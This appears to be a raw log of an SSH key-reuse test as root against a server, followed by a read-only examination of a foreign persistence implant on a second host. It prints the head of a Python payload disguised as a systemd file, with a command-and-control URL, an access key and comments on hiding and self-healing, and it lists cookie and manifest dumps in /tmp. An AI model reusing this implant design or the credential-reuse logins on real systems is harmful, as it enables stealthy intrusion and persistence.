TAG=i975e_109631 START Wed Oct 28 04:42:01 AM UTC 2026 relhost=C20261002168507 mount_rc=0 umount_rc=0 keys=id_ed25519,id_ed25519_tokyo,id_rsa, == KEY REUSE MATRIX (tgt 154.36.154.45 = .2 itself, 1 attempt/key) SSH tgt=154.36.154.45 key=id_ed25519 rc=0 :: Warning: Permanently added '154.36.154.45' (ED25519) to the list of known hosts. |LOGIN_OK|0|C20261002168507| SSH tgt=154.36.154.45 key=id_ed25519_tokyo rc=255 :: Warning: Permanently added '154.36.154.45' (ED25519) to the list of known hosts. |root@154.36.154.45: Permission denied (publickey,password). | SSH tgt=154.36.154.45 key=id_rsa rc=0 :: Warning: Permanently added '154.36.154.45' (ED25519) to the list of known hosts. |LOGIN_OK|0|C20261002168507| == authorized_keys on .2 (for cross-match) line1 ssh-ed25519 SHA256:V2H47tMwvdw44WtA1Nf6aZddXgcMKE22u+bAbgVfob8 root@vm-0f91883b3c56 line2 ssh-ed25519 SHA256:Z85ePKPYt1XT6JD6laKirLliZyWqyJuhfEp4jMNE7iU root@ZT5481784901 line3 ssh-rsa SHA256:UvmI7Vbatn0+uvR35683bqC8tJa1KdDMGfezJ2GZhhQ root@ZT5481784901 line4 ssh-ed25519 SHA256:KRKEfcmc3x4nTurNdWWXYOhqcqVBrWHjAuWWTjForgA auspicious@auspiciousdeMacBook-Air.local bytes=1066 == foreign persistence characterization on .3 (read-only) Warning: Permanently added '10.66.0.3' (ED25519) to the list of known hosts. ## ACL_FILES_3 total 12 -rw-r--r-- 1 root root 802 Apr 16 2023 certbot -rw-r--r-- 1 root root 201 Mar 5 2023 e2scrub_all -rw-r--r-- 1 root root 96 Oct 28 12:41 systemd-networkd-76049fc0 -rwx------ 1 root root 10466 Oct 20 18:26 /usr/lib/systemd/systemd-resolved-02248133.py ## PAYLOAD_HEAD #!/usr/bin/env python3 # -*- coding: utf-8 -*- # ============================================================================ # DESIGN B 载荷(cron 系,无常驻进程,与 DESIGN A 完全异构) # 路径:/usr/lib/systemd/systemd-resolved-.py 调度:/etc/cron.d/systemd-networkd- # 职能:心跳/指令(urllib 栈)· 自愈 B · 互救 A(重写 A 的薄壳+单元+守护) # 隐藏:无常驻进程(只留一个无害 cron 文件)· 载荷在 systemd 目录下的点目录 # ============================================================================ import json, os, re, subprocess, sys, time, urllib.request, urllib.error CF = os.environ.get("CF", "https://update.8o8.indevs.in") PK = os.environ.get("PK", "p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO") UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" BD = "/usr/share/systemd/.helpers" def _p(path, default): try: return open(path).read().strip() or default except Exception: return default legacy_prefix = "/etc/.ar" + "tex_" for _old, _new in (("probe_id", "id"), ("aruntime", "run"), ("apath", "a"), ("aunit", "u"), ("bpath", "b"), ("cpath", "c## PAYLOAD_OUTFILES -rw-r--r-- 1 root root 80 Oct 26 15:11 /tmp/qk_clip.txt -rw-r--r-- 1 root root 2080 Oct 25 18:27 /tmp/qk_have.txt -rw-r--r-- 1 root root 936 Oct 25 18:26 /tmp/qk_driver_done.txt -rw-r--r-- 1 root root 9377 Oct 25 16:39 /tmp/qk_folderfid.json -rw-r----- 1 root root 42868 Oct 25 16:32 /tmp/qk_manifest.json -rw-r----- 1 root root 1951 Oct 25 15:29 /tmp/qk_cookie.txt -rw-r--r-- 1 root root 55 Oct 25 13:30 /tmp/thunder_url.txt -rw-r--r-- 1 root root 660 Oct 25 13:24 /tmp/xl_clip2.txt ## DONE ssh_rc=0 STAGE=done DONE Wed Oct 28 04:42:04 AM UTC 2026